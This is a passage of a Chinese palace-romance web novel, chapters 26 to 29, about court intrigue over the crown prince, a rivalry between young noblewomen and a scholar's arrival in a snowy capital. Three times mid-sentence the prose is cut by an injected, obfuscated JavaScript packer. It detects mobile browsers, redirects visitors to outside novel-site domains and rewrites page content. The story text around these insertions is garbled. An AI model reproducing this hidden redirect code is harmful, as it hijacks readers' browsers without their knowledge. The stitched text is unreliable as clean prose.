皇宫里,养心殿门前,清平长公主一身冠冕华服,已经跪了两个时辰,却始终未有受到召见。 内监受托高达颅顶的奏折,匆匆地来,又匆匆地去,金乌西沉后,宫女端着琉璃盏鱼贯而入,须臾,就听到里面听来瓷器碎地的哗啦声,待宫女们相继离去,没过一会,三位御医驱步前来,待跸道前恢复宁静,已经又过了半个时辰。 一名内侍从殿侧躬身跑出,一路小跑到殿门前,轻叩两声,过了片刻,殿门打开一条缝隙,小内侍半掩侧脸,小声对殿内的人说了句话,殿内人吩咐一句,小内侍点头应声,随后,殿门再次阖上。 清平长公主手中转着佛珠,眼睛一眨不眨地盯着殿门。 小内侍转身,朝清平长公主跑去,到了跟前,弯着腰,道:“长公主殿下,方才御林军派人来说,已经找到世子了,世子此刻应当已经回府,您可以回去了。” 佛珠顿住,清平长公主微微舒了口气,道:“好,我知道了。” 虽如是说,小内侍却见她不动,似乎没有离去的意思,冥想片刻,又询问了两句,最后,不得不躬身离去。 终于,殿门再次发出轻响,大监洪庆山敞开一条细缝,侧身从里面钻出来。 他先抬头看了眼前方,见长公主腰身板直,依旧固执地跪着,侧头去寻侍候在殿内的小内监,“世子已经寻到了,可告诉长公主了?” 小内监低着头,道:“回大监的话,说了,可长公主说担心圣上龙体,要进去问个安。” 洪庆山一哂,清平长公主一年都进不了几次宫,一心只在佛堂,何时挂念过圣上安康? 稍作思考,低声叹了口气,抬着碎步趋步上前,来到清平长公主身边,小声道:“殿下,圣上说,您要是还执意进去,那就进去,叙叙旧。” 清平长公主睫毛轻颤,动了动冻僵的双腿,洪庆山连忙上前扶住。 “多谢。”清平长公主轻声道,缓走了两步,方从麻木中醒悟,明白洪庆山说了什么,她手指微微一颤,低声询问:“圣上的病,御医是怎么说?” 洪庆山摇了摇头,道:“长公主若还心疼一点圣上,就别说伤人的话。” 清平长公主嘴角一涩。 进了殿门,金黄色盘龙双柱映入眼底,再踏入内殿,暖意扑鼻,宣德帝端坐案后,正在执笔批阅奏折,龙颜甚威,仔细看,却面色发白,唇上一点血色也无。 见到她,似乎也不惊讶,抬了一根手指,复又落下,继续写下红批。 清平长公主见状,屈膝行完大礼,在一旁贵妃椅上坐下等候。 宣德帝批完了这份奏折,方放下毫笔,顿时又忍不住咳嗽起来,洪庆山连忙上前抚背,又倒杯水喂他喝下,清平长公主见了,面上忧色渐浓。 须臾,宣德帝止了咳,方道:“不是说,瑾弋已经找到了吗?你还来做什么?” 清平长公主面上担忧不存虚假,垂首道:“臣妹许久不曾进宫,想来给皇兄问个安。皇兄宵衣旰食,操劳国事,比上次臣妹进宫瞧着更加清减,臣妹心存挂念,还请皇兄以身体为重,保重龙体。” 宣德帝抬手,稍稍停顿,待咽喉处的不适退下去,道:“北疆雪灾,南境漕运,桩桩件件都等着朕解决,朕这身子骨不过苟延残喘罢了。” “圣上!”清平长公主难得下了重音,喊道。 宣德帝笑了起来,扔了方拿起的奏折,道:“朕近日时常梦见少时,踏青斗草的光景。” 清平长公主目光轻晃,他眼里浮上遥思,“那时,大皇兄弯弓射箭,朕心中艳羡却不敢上前,是你,瞅准时机上前,央他带我一道。” 清平长公主旋即垂下眼眸,道:“都是陈年旧事,臣妹已不大记得了。” 宣德帝叹笑:“你还是这个谨慎的性子,难怪瑾弋这孩子这些年压抑了很多。” 说着,他将手中新拟的折子递给洪庆山,洪庆山捧着折子,送到清平长公主面前,清平长公主打开一看,顿时面露惶恐。 就听宣德帝忽然道:“瑾弋杀了宫中内监,你可知道?” 清平长公主犹疑片刻,连忙跪下,“臣妹不知,他,他......” 宣德帝抬手制止,道:“难得他还保持了这份勇敢果断,朕记得,他小时候就是个有胆识的人。” 清平长公主面上惊惧交加,跪求道:“臣妹也是才听说,那个老内监当年并没有死,可见,当年是有人蒙蔽了皇兄,请皇兄彻查此事,以除宵小。” “你是让朕处置太子?” “太子乃国之根本,臣妹不敢妄议,但此事必有牵连,事关瑾弋名声,臣妹不敢豪赌。” 宣德帝奇问:“你这些年让他沉浸声色犬马中,游手好闲,无所事事,难道就不担心他的名声?” “便是臣妹知晓,他秉性纯良,不乐此道,才敢放任他胡闹。” 须臾,宣德帝眼睑收敛,神色淡淡,道:“太子莽撞,你多担待,瑾弋这孩子,朕甚是欣赏,让他去南城兵马司当个副指挥使,你想让他留在书馆,那就让他在兵马司挂个名,逢七点个卯便是。” “圣上?” “此事就这么定了。”宣德帝语气不容置疑,“他虽然是你的孩子,但也是朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413200|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的外甥,朕的外甥,担个闲职,你难道也要阻拦?” 清平长公主只好跪道:“是,臣妹遵命。” - 谢花儿在习艺馆接到江昱,激动得差点落泪,心中又自责万分,要不是他今日脚程慢了,去习艺馆揭发商家女娘罪行晚了点,世子身边就不会是别的小厮跟随。 侯府长史也万分自责,在侯府门口来回徘徊,他今日应该尽心尽力为世子挑选一名功夫高深的侍卫跟随,否则世子就不会被人掳走,长公主也就不必进宫,以致到了天黑尚未回府。 江昱带着小厮赶回旧书楼时,二楼已经被清扫干净,小厮说长公主晕倒,他立刻赶回府中,回到侯府,才得知母亲并没有晕多久,醒来后就进了宫,他换了身干净衣衫准备进宫。 到了府门口,忽然顿住。 落日余晖,他望着霞光映雪,眼前想起多年前,那时候也是这样的景色。 不同的是,那是晨光熹微的早晨,他一夜梦醒,拖着病体爬到门口,想要进宫为自己讨个公道。 结果与从宫中回来的母亲迎面相撞,母亲派人押他回去,说事情已经过去了,宫里处置了所有参与的人,不会被人知晓那三日发生了何事。 他怨愤,怒吼,却都没有用,最后只能守愚藏拙,与心底的恶魔较量,对太子避而不见,从此以后,京城中多了一个赌瘾成性的勇毅侯世子。 进宫又有什么用? 不过还是寻求一个遮掩。 不去也罢。 见主子立在门口,既不出门,也不进府,像一根木桩,谢花儿琢磨不透主子此刻心情,只好先拣点事情禀报。 “我今日去艺馆中找了周先生,周先生说,一定会查清你中毒的事,我看她定是想包庇那个商娘子,所以才找言辞敷衍我。” 江昱被掳的事,就连谢花儿也不知道,还道是世子又偷跑去了哪里,惊动了长公主殿下。 长史望了眼谢花儿,无奈地摇了摇头,道:“世子不必担心,殿下应当很快就回来了。” 江昱临风不动,眼神泛空,须臾,道:“谢花儿,你再去艺馆走一趟,跟周先生说,商娘子已经跟我赔礼道歉了,叫她以后约束好商娘子,千万叫她别乱跑,免得被我逮着,我旧恨难消,还是要找艺馆的麻烦。” “啊?”谢花儿目瞪口呆,既想问这商娘子何时道的歉,礼又何在?又震惊于“主子怎会如此不要脸”,怎有人消气了再寻麻烦的道理? “这,会不会有点太过?” 长史则若有所思,去处理事故的侍卫回来禀报,说救世子离开的是一位身形娇小的女娘,朴石进的脖子、眼睛和手腕都是被尖细的利器所伤,但手腕上的伤口明显较浅,显然对方力气不足。 尖细的利器,再结合离去的脚印,可以猜出,和世子一同离开的是一位女娘。 江昱扯了笑,道:“越过越好,叫她害怕了,才不敢再乱跑。” 谢花儿乍舌,但到底还是应下了。 这时,嵌着侯府徽章的马车转进巷口,笃笃前来,片刻后,进入侯府。 江昱缓步走下石阶,走到停靠的马车前,垂首恭声道:“母亲辛苦了。” 27. 第 27 章 清平长公主并不相信侍从的回禀,从马车上下来后,拽着江昱的胳膊进屋,就屏退了左右,吩咐江昱脱下外衫。 江昱嘴角挂笑,却只掀了衣袖,露出两条雪白结实的臂膀,道:“幸亏谢花儿赶去及时,否则,又要落下一身伤。” 谢花儿:“......” 清平长公主要翻着他的衣领,被他拦住,露出腿上的於痕给她看,“没事,只是摔了一跤。” 一个人,是对过去耿耿于怀,还是释然放下,亲近的人,一听便能分辨。 他语气轻松随意,甚至言辞中带着一丝调侃,清平长公主确定他身上无重伤后,才反应过来这点。 慢慢地替儿子放下衣袖,想起圣上说,是他杀了那名内监,清平长公主不由得眼眶一湿,撇开头去。 江昱扶着她在案前坐下,道:“此事就算过去了,明日我听您的话,好好去监学读书。” 清平长公主抹了眼角的泪,从衣袖中拿出折子,递给他,道:“圣上允了你一份差事,你要是不想去监学读书,就去挑个司所任职,你自己看。” 江昱微微诧异,接过折子打开扫了一遍,掀眸惊疑地看着清平长公主。 问:“这是您特意去宫里求的?” 清平长公主眸光闪烁,道:“你舅舅近日精神不错,你有空就多去宫里转转。” 江昱呼吸一滞,渐渐地,嘴角漾起笑意,道:“多谢母亲。” 清平长公主见他如此,心中也觉得松快了。 - 商凝语翌日再次见到周先生,周先生将侯府小厮的话复述一遍,商凝语就知晓,江昱已经放过她了,心中不由得纳闷,他做什么又要多此一举,再威胁她一番? 索性她不会再乱跑,尤其是事后从孙苗苗口中得知,她那日休憩的荷塘曾经淹死过一位女娘,她就更加坚定,以后绝不能再随便瞎逛。 日子终于又恢复平静到可以晒太阳的时候,连续几日,午膳休息时,商凝语拉着孙苗苗在靠近前院的园子里打雀儿,打来的雀儿倒也不怎么着,就是喂些食物养好了再放。 打雀儿的箭头,她包了一层厚纱,叫雀儿受惊但还不至于受伤。 这个冬天,就连飞禽也不好找食物。 但大多时候是商凝语将米粒洒在林子四周,而孙苗苗拿着弩箭练手,她准头不好,频频叫鸟雀惊走。惹得孙苗苗一阵阵惊呼。 这日,方云婉回馆途中,不巧撞见这一幕,不由得眯起了眼睛,看着园中那位女娘,见她二人始终沉浸其中,抬步朝二人走去。 嵌珠绣花鞋踩在雪地里发出嘎吱嘎吱声,惊得飞到一半的雀儿在空中回旋半天又飞走。 眼见空中一片空无,今日最后的希望也没了,孙苗苗气愤地转头,瞪向滋扰的源头,见到是她,神情微敛,原地屈膝福礼,默默地走开。 没听到动静的商凝语疑惑地抬头,目光顺着孙苗苗福礼的方向凝过去,见到簪花戴帽的女娘,不由得也眯了眯眼。 方云婉在青石路上停住,与二人形成了三角,盯着商凝语,语气轻扬,音调又很娇柔,问:“你们这是在做什么?好像很好玩呢。” 还真是蹬鼻子上脸啊。 商凝语感觉有被冒犯到。 这是见她没事,所以又上前挑衅,还是向她示威? 偏偏商凝语也是个好了伤疤忘了疼的人,她自觉已经了解了方云婉的手段,以为不会再遭她算计,又做不到一而再地忍气吞声,更不能容忍别人欺负到她跟前来。 更何况,这还是个没说过三句话,本身也没有交集的陌生女娘。 所以,她提步上前,边走边朝孙苗苗喊,眼睛却盯着方云婉,笑眯眯道:“我们在捉雀儿,苗苗,这位漂亮姐姐是谁,你能给我介绍一下吗?” 方云婉脸色瞬间僵硬。 孙苗苗无奈,只好前来,边道:“这是吏部尚书方大人的孙女,闺名云婉二字。” “哦?”无视方云婉的警告,商凝语故作惊讶,转头询问,“原来是方娘子?我远远瞧着还以为是与我四姐姐即将共事一夫的乔娘子,幸好有你在,我差点喊错了人。” 孙苗苗愣住了,这话是能这样冠冕堂皇说出来的吗?不该藏着掖着,再等背后跟她曲曲的吗?转念,又很佩服地朝她暗中竖起大拇指。 乔娘子是太子正妃,商四娘是太子侧妃,如此一说,虽贬低了方云婉,但也借着乔娘子拉高了商四娘。 高明,实在是高明。 方云婉看着商凝语。 商凝语回看她,随意福了一礼,道:“方娘子别见怪,我这人见风说话,有时候就是嘴巴不牢,好赖话都容易说漏嘴。” 方云婉盯着她,倏地一笑,道:“外面风大,怕风就进屋子里躲起来,也免遭到风蚀。” 孙苗苗莫名其妙,忽然就感觉二人交锋起来,但人是她介绍地,她还得介绍完,“表姐,这是商家七娘子。” 嗯?表姐? 商凝语疑惑地看了眼孙苗苗。 方云婉盯着孙苗苗,淡淡“嗯”了一声,留下一句“过几日去府里坐坐,我娘想你娘了”,再暗中警告地瞪了商凝语一眼,才转身离开。 商凝语心中余震未平,连忙拉着孙苗苗询问怎么回事,孙苗苗也失去了打雀儿的兴致,撂了竹枝,挽上她的胳膊往教室方向走去。 边将她和方云婉的关系说了出来。 说实在,商凝语现在并不想和她手挽手,感觉胳膊上不知何时就攀上了一条青蛇,被一条毒蛇圈养的那种。 原来,方云婉的母亲和孙苗苗的娘同出江南姚氏一族,不同的是,方母是姚家嫡女,而孙苗苗的娘是姚家庶女,当年方母出嫁,姚母让孙母作为侍妾一同进入方家,孙母虽不愿,却又不敢违抗嫡母的命,只好随嫁到了京城。 但方母妒忌心深重,又怎会让庶妹夺了自己的风头?并未让孙母进门,就将她安置在陪嫁的铺子里,后来是孙母无意间邂逅了孙父,孙父去到江南登门求亲,姚家家主才顺势推舟,促成了这桩婚事。 “我娘念在姨母没有当真让她做妾的份上,一直多加忍让。”孙苗苗叹,“其实,我真的不喜欢她,你也是,劝告你一句,别看她外表柔善就想与她亲近。” 商凝语微微放下心,却还是保持了一份警惕,心思一动,问道:“你的亲事已定,她是你表姐,应该婚事也有着落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417052|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧?” 孙苗苗摇了摇头,“姨母挑得很,我娘说,她原本想进宫侍奉太子......”说着,猛地顿住。 商凝语状作没在意,追问:“然后呢?” 孙苗苗于是放下心思,回:“然后不知什么原因,没攀上太子,我娘瞧着,总应该还是皇亲国戚,不会太差的。” 那还真叫你娘给猜中了,就是不知乔家的门能不能这么进。 商凝语暗自嘀咕。 是夜,又忽然下起大雪,风雪交加的夜晚,京城安静得仿佛一条盘踞的卧龙。 天色将将被墨色吞噬时,吏部尚书快步回到府中,面沉如水,须臾,儿子一家三口全部齐聚主院,没过一会,就连二进院处,也能听到那厢传来的隐隐泣吟声。 “寡廉鲜耻,是谁叫她去勾引乔家人的?我们方家满门清贵,如何出了她这么个擅作主张,将阖家往火坑里推的东西,你说,这是不是你的主意?还是你夫人的意思?” 年过古稀的老大人,怒发冲冠,浑身颤抖地指着儿子骂,声如洪钟,震得隔壁偏屋里的祖孙三人浑身颤了又颤。 方云婉羞得缩进方母怀中,方母眼眶湿润,羞愤难忍地祈望着方老夫人,方老夫人稍显镇定,只是面色涨红,不知是气还是羞。 方父疑惑道:“这是不是搞错了?云婉怎会是这样的人?她的品行,您最清楚,怎会勾引太子?” 方尚书将手中蟠龙杖重重地顿在地面上,沉声道:“你知道我是如何知晓此事的吗?是太子,是太子告诉我的!” 方父满眼震惊,就连方云婉,也止住了呼吸,婆媳两两对视,二人顿时面如土色,。 方尚书指着隔壁,雪白须发皆张,“若非今日撞见太子,我竟不知,她早与太子有了首尾。若是只有太子倒也好,可她贪心不足,又去勾引乔家公子,你们当乔贵妃是瞎的吗?任由你们挑挑拣拣?” 方云婉从方母怀中抬首,眼里迸射出愤恨的光芒。 方母心疼地望着她,忽然惊呼:“云婉。” 不知何时,她咬碎了牙龈,一滴鲜血顺着嘴角滑落。 怒骂声不堪入耳,却频频传来,方云婉忍了又忍,忽然推开方母,朝外奔去。 她撞开主屋的门,声色俱厉,悲愤道:“不是我贪心,是太子!他要了我的身,却根本没想娶我进门,是他一直在利用我!” 方尚书执起桌上砚台砸过去,追进来的方母眼见飞来的器物,吓得魂飞魄散,方父眼疾手快,张开手臂扑倒二人,砚台方擦着方父的鬓角摔落在地。 碎裂的砚台四处飞溅,一块细小的碎片冲着方云婉的面门划去,瞬间,一滴鲜血滴落。 “云婉。”方母悲痛大喊。 方云婉盯着地上的血,一滴,两滴......目光怔愣。 看着从未有过如此狼狈的孙女,方尚书苍老的面容因盛怒而扭曲,蟠龙杖顿得砰砰响。 “你以为是太子不愿娶吗?是你偏要借机羞辱商四娘,是圣上不允许你踏进东宫的门!” 方云婉又是一愣,缓缓地抬头,问:“为什么?” 她忽然凝聚了力气,大声质问:“圣上为什么?” 28. 第 28 章 没有人回答方云婉为什么,商凝语在过几日之后,才从孙苗苗口中得知,方家和平亲王世子赵烨城定下亲事,等待年后嫁娶进门。 但当时,商凝语还未听闻这个好消息,因为翌日一早,她请了假,整装出发,去往城外,迎接长途跋涉,终于从岭南赶到京城的陆霁。 但在前一日夜里,她斟酌再三,还是端着早先答应好的梅花酪,了一趟梨棠院。 经过几次的软磨硬泡,云锦对她们主仆二人终于也不再横眉冷眼了,甚至这次见到她,眉眼可见地闪过一丝悦色,顺顺利利地开了门。 盯着商明惠吃完半碗酪乳,商凝语放下怀中暖炉,舔了舔嘴唇,问道:“四姐姐,太子私德不修,圣上也不过问吗?” 商明惠动作顿住,掀眸看她,略一思索,道:“圣上日理万机,身体又有不适,有所疏忽,也是在所难免。” “可是,那大臣也不管?不是说朝廷还有御史谏官吗?” 商明惠抿了一口乳酪,道:“御史谏官们可能也有鞭长莫及的时候。”放下茶碗,反问,“怎么突然对这件事感兴趣起来了?” 距离上次偷听被抓,已经有很长一段时日过去,她还以为,这个妹妹已经什么都从父亲那里知晓了。 商凝语眉头皱起小山峰,轻声道:“我忽然知道,还有一个人也知道那天发生的事。”声音轻柔,像分享小秘密。 她仔细盯着商明惠,“会不会还有更多的人也知道此事?这对你名声不好。而且,这,不觉得很不正常吗?” 江昱知晓,清平长公主应该也知晓,却不闻不问。商明惠知晓,国公府帮着牵媒拉线,却也只是做调和。 一名储君,行为不端,私德不修,圣上不管,朝臣假装眼盲耳鸣,若非这是太平盛世,政通人和,百废俱兴,她简直都要怀疑,朝廷已经荒废,已经朝着亡国的路向走去了。 有仁君贤臣,百姓才能安居乐业,岭南百姓最怕起战事,流民逃兵往深山里躲的时候,会将沿途的农庄洗劫一空。 就连官员考核,都要修身齐家,内外兼修,身为储君,她不信这种情况是无恙的。 商明惠若有所思,她先前未曾想过这一层,今日得商凝语提醒,才惊觉,似乎与当今励精图治的朝堂确实有些出入。 她思索着,道:“大约是这门亲事,是圣上当时亲口下谕,无法更改,太子也只是一时放纵,此前都未听过诸于此类的事情发生过,又或者,是有朝臣弹劾,只是你我不曾听说过罢了。” “好吧。”商凝语摊下来,伏在桌案上,仰着眉盯着对面,商明惠疑惑,问:“怎么了?” 商凝语摇了摇头,本不想说,却又着实藏不住话,稍作迟疑就道出了今晚最想问的话,“你为什么想嫁给太子?” 商明惠轻笑,“太子权势滔天,你问我,为什么?” 商凝语一点也不觉得好笑,“可我觉得,你并不喜欢权势。” 商明惠挑眉:“怎么说?” 商凝语直起身,“贪恋权势的人,都善于利用权势。”她掰着手指道,“首先说商明菁,她利用祖母的偏见,对我打压,好让我对她俯首称臣,以取得优越感。再说江昱,他因为权势,可以肆无忌惮地评价一位女娘,权势让他可以随心所欲。就连周先生,也利用艺馆教习的身份,逼着我承认错误,当然,她是为了更好地管理艺馆。” 她疑惑:“你每天都待在府里,弹琴作画,便是出去结交,也多是程家表姐这样与你合拍的人,你不擅用权势,嫁给太子,难道就是为了换个地方弹琴作画?” 商明惠失笑:“太子也没你说得这么糟糕,说不定,我能和太子举案齐眉呢?” 商凝语的脸顿时黑了下来,眼皮一掀,道:“母猪可能不太会上树。” “噗。”商明惠差点被最后一口乳酪呛死,连连咳嗽起来,商凝语忙起身倒杯水替她润喉,又拍了拍她的后背。 想了想,补救道:“我的意思是,太子将来也要日理万机,哪里会有时间陪你红袖添香?你的琴和诗画都只能自己来品。” 商明惠止了咳,笑道:“这样也很好,我的作品不一定要男人来品。” 商凝语撅了撅嘴,没说话,可她心里就是有感觉,商明惠是孤独的。 人生漫漫,谁不希望有个人来陪。 “明日我要出城,四姐姐你陪我一起去吧?”她忽然振奋地说。 谁知,商明惠目光闪烁一下,拒绝了,“我明日约了昭昭。” “哦,那也行。”商凝语放弃得很快。 商明惠眸光温和,难得揶揄,“是去接人吗?” 商凝语眼睛一瞪,“你怎么知道?” 商明惠“唔”了一声,“不是你说,有个书生,英俊非凡,要进京春闱?” 商凝语顿时面颊飞红,支支吾吾,“没,他不赶春闱了,阿爹说,让他在国子监修学。” 在京城待久了,她也脱去了当初大言不惭时的潇洒,不知不觉中,染上了京城女娘的矜持。 商明惠笑而不语,平静地眉眼里几不可察地闪过一丝艳羡。 一早,天地一片银装素裹,彤云密布的天幕,依旧筛下漫天玉屑,商凝言拢着披风和商凝语出门,上车时,还在说:“我去接就成,你不用跟着去。” 商凝语拢了拢红刻丝镶灰鼠皮领子的斗篷,露出一张妆容精致细腻的笑脸,一拍他的胳膊,没好气道:“我可是推了一桌席面陪你去,你别不识好歹。” 商凝言笑笑不再理她,马车碾压过厚重地积雪,往城外走去,途中经过素日最热闹的城中一段,商凝语还未来过这里,不由得掀开窗帘往外瞧。 长街两侧的朱楼绣户铺上银霜,飞檐斗拱缀满冰雕玉琢的琉璃挂,酒肆旌旗冻成硬邦邦的素绦,在朔风中发出碎玉撞击的脆响。 市集上人影疏落,来往行呵气成霜,摊贩们拢着袖,在箩筐前跺脚取暖,虽萧瑟,却各个身穿厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16424740|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棉夹袄,面颊红润,可见日子过得有多暖和。 今日是冬月初七,非是重要节日,来往行人不多,城中却戒备森严,每调转一条坊道,就能见到官兵巡逻经过。 商凝语心中无疑,还道是天子脚下,城防向来如此,但商凝言却对今日之事略有耳闻。 “禹王近日就要进京了。” “禹王?” 商凝语还没听说过这个王爷,商凝言见她好奇,就将有关于先皇后谢氏一族的事给她普及了一遍。 商凝语听完,不由得心中警铃大作,小声道:“所以是太子忌惮禹王,将城中戒备,以防禹王?”她飞了个讳莫如深的眼神。 商凝言无奈道:“话本子看多了对脑子不好,朝堂上的事,你不要瞎猜。” 正说着,她瞧见同是商府的马车出现在侧前方另一条坊道,顿时心喜,准备去喊,却见商明惠的马车一闪,掉转马头又朝另一条巷道走去。 她愣了愣,半响后,放下窗帘。 江昱今日第一天到南城兵马司点卯,到了司所里,才知道城中动向,稍作一想,嘴角露出轻蔑一笑。 五城兵马司有三城,东、北、中城是乔家人把手,作为太子的走狗,乔家自然要警惕好禹王。 南北两城虽归属圣上,但也不太敢与太子作对,江昱一到,南城兵马司指挥使就让他待在衙门喝茶,要亲自带人去巡岗。 江昱又岂是真来喝茶?有这闲工夫,不如去赌馆里再去掷几把骰子,当即夺了南城兵马司指挥使的工作,率领几个吏目去巡街。 在城中正巧遇到护送妹妹的程玄晞,惹来一阵嘲笑,“瑾弋,你还这改邪归正来得还真快,就是怎么不穿官服?” 江昱风流眼扫了一眼从马车里探头出来的程昭昭,透过罅隙觑到里面另一道影子,意味不明地看着他,回:“小爷不穿官服,照样能抓滋事扰民的人。” 程玄晞干咳一声,警告道:“你应该去城南,别悠错地方。” 江昱眉头轻挑,不当回事,程玄晞也不跟他打牙祭,护送马车前行,待马车渐渐离去,跟随在江昱身边的何姓吏目,这才敢驱步上前,道:“世子,咱们巡逻的道在这边。” 岂不料,话音未落,反倒见世子打马继续朝前奔去,何吏目瞪口呆,却又不得不赶紧驱步跟上。 幸好,这位行事不按章法的世子拐了个弯,终于还是回到城南地段,何吏稍松一口气,但没过一会儿,终于又发现了不对劲。 前面那辆马车徽记一个“商”字,应该是忠勤伯府的马车,世子跟着它做什么? 江昱一路跟到城南城门口,眼见着商府马车出了门,才打马停住。 期间,里面的女娘再也没掀开车帘往外瞧,但一直在和侍女讨论妆容。 望着渐行渐远的马车背影,他的耳边还在回荡着几声透过厚重布帘飘出的玲珑笑语。 心道,真是不安分的女娘,也不知出城是何事,竟这般高兴。 29. 第 29 章 很快,马车出了城门,城门外,更是千里冰封,真真应了那句,千山暮雪,万径人踪灭。 江河冰封,陆霁在十月中旬就从水路更换成陆路,沿途受冻,行程缓慢,幸好,在半月前,遇到恩师派来迎接的车夫,更换了冬衣,才一路顺利抵京。 城外有座十里长亭,似心灵有感,马车转过松林后,他掀开车帘往外瞧,只见天地一片银装,远远瞧见前方停着一辆青幔马车,长亭里,一坐一立,候着一对粉蓝雕琢的兄妹二人。 他眉眼一动,望着亭中。 马车趋近商凝言撑伞快步走出长亭,商凝语心中欣喜,却矜持地起身,走到长亭的边缘,对着马车殷殷相望。 陆霁踉跄一步下了马车,朝商凝言拱手道:“商兄,许久不见。”商凝言亦心生喜悦,与他互相见礼。 风雪交加,少年一身青衫,迎风而立,虽形销骨立,却有一种落拓之美。 原以为在十月就能进京,没想到等到大雪纷飞。 见他穿得单薄,商凝语眉眼闪过一丝心疼,稍作犹豫便抛下了矜持,从点翠手中拿过鼠貂裘,踏入风雪中。 点翠急忙喊:“娘子,快撑伞。” 陆霁循声望来,只见伊人云鬓染雪,飞奔跃下雪阶,顿时心也跟着她这一跃,飞速地跳了一下。 他快步上前,以免她再急速飞奔,脱离了点翠追在身后的油纸伞。 二人相遇,商凝语迅速将鼠貂裘塞进他的怀里,道:“你冷不冷?快穿上。” 陆霁有一瞬间错愕,双眼清澈明亮,转瞬即逝,却令天地为之失色。 商凝语的脸更加泛红,却努力保持镇定地,坦然地,回视他。 陆霁渐渐地笑了,温和柔润,如一汪清泉,在眼底荡开。 商凝言干咳一声,信步上前,道:“陆兄舟车劳顿,我们还是快些回去,早作休息。” 陆霁抬手,道:“多谢商兄,为霁一路安排。” “你我不必客气,我先你一步到京城,一切都比你熟悉,自然要替你安排好。”商凝言道。 二人从小一起长大,是比商凝语还要亲密的至交好友,陆霁也不多推迟,和兄妹二人一同上了前面的马车。 点翠瞧了瞧,和商凝言的小厮去到后面马车里。 回城的途中,商凝语安静许多,商凝言一改往日惜字如金的性子,滔滔不绝,讲述着回京后的见闻和感悟,偶尔,会穿插着陆霁在路途中所见的人与事。 不卑不亢,虚怀若谷,一直是商凝语对陆霁最深的印象。 在陆霁与商凝言侃侃而谈时,她仔细描摹了一遍陆霁全身上下。 一根墨竹簪将长发束起,眉目清秀,眼底温润,既不曾因她的疏离生出怨愤,也未因长途跋涉的艰辛生出怯意,他好像一位远道而来的高僧,为心底的信仰,跨过千山万水而来,历经磨练,不叫意志削弱,反而令眉眼更加坚定。 只是,他有些瘦了。她方才触碰到他的手指,有些清凉,穿上她挑选的斗篷,竟然显得有些宽大。 她心中想着,不知兄长安置的宅子那边,有没有安排厨娘,得好好给他补一补才是。 却不知,陆霁叫她自以为含蓄实则明目张胆的打量,弄得如坐针毡。 心底那一抹蓄存许久的失落,顷刻荡然无存。 “霁哥哥,是不是没见过这么大的雪?” “是,出凌州时就感觉到了,比岭南要冷很多。” “以前我们在山中打雀儿,现在我学会了一种新玩法,冰天雪地打雀儿更容易,改明儿我打了雀儿炖给你吃,好不好?” “京城难道就没有其他东西能招待霁?这样恶劣的天气,我还怕打下来的雀儿没有二两肉。”陆霁难得开起了玩笑。 商凝语却笑得更加开怀,“行,那我就请你吃京城最有名的龙须酥。”说完补充一句,“我平日打来的雀儿都是喂食后,放走的。” 商凝言轻哼,“你是见着没有二两肉所以才放走的吧?” 商凝语拿眼瞪他。 陆霁眉开眼笑,“早就听闻京城各种有名的风景和小吃,到时候希望凝语妹妹作为向导,带霁一饱眼福和口福。” 商凝语给他递了个眼神,“当然。” 马车从城南门进入,朝着忠勤伯府的方向走去,经过城中,渐渐地,喧哗声传来。 商凝语笑颜微顿,方才出城时,城中还是一片阒寂萧索,怎的这会儿,如此热闹? 她将心中疑惑说出来时,便将窗帘掀开,探头往外瞧。 这一瞧,更是一惊,只见前方道路已经被百姓挤得水泄不通,数十名衙差在疏通要道,看这人山人海,让人毫不怀疑,整条街的百姓都出来了。 冰天雪地,是谁,有这般大的阵仗? 商府的徽记终于跃入眼底,江昱心中不可抑制地浮上一丝喜悦,想打马上前去招呼,却见周围百姓拢上来,将他挡了个严严实实。 他眼底划出一抹厉色,却又无可奈何地按捺下去,隔着人道,遥遥望着那辆马车停靠在路边。 不久,远方传来一阵马蹄声,震耳欲聋,人群中,欢呼声此起彼伏。 商凝语就听到有人高呼:“禹王回来了!” 陆霁忽然抬头,眼里迸射出异常的光彩,询问商凝言:“是那个战功赫赫,在樾河一战中以少胜多的禹王殿下?” 商凝言点头,他蠢蠢欲动,“我去看看,你们在车上稍等我片刻。” 商凝言哪里肯,道:“我随你一同。”二人一前一后跃下马车,商凝语眉头微蹙,到底是心有忌惮,不敢随意下车到人群中去,朝着窗口大喊:“你们小心。” 陆霁挤过人群,推推搡搡中,站到最前面,前方徐徐前来的一队铁骑,走在最前头的,便是令西北将士们闻之热血沸腾的禹王殿下。 列队整齐,军纪严明,陆霁瞧着心生激扬,敛衽作揖,朝铁骑队躬身一拜。 马车被挤到主道侧方,隔着人群,商凝语 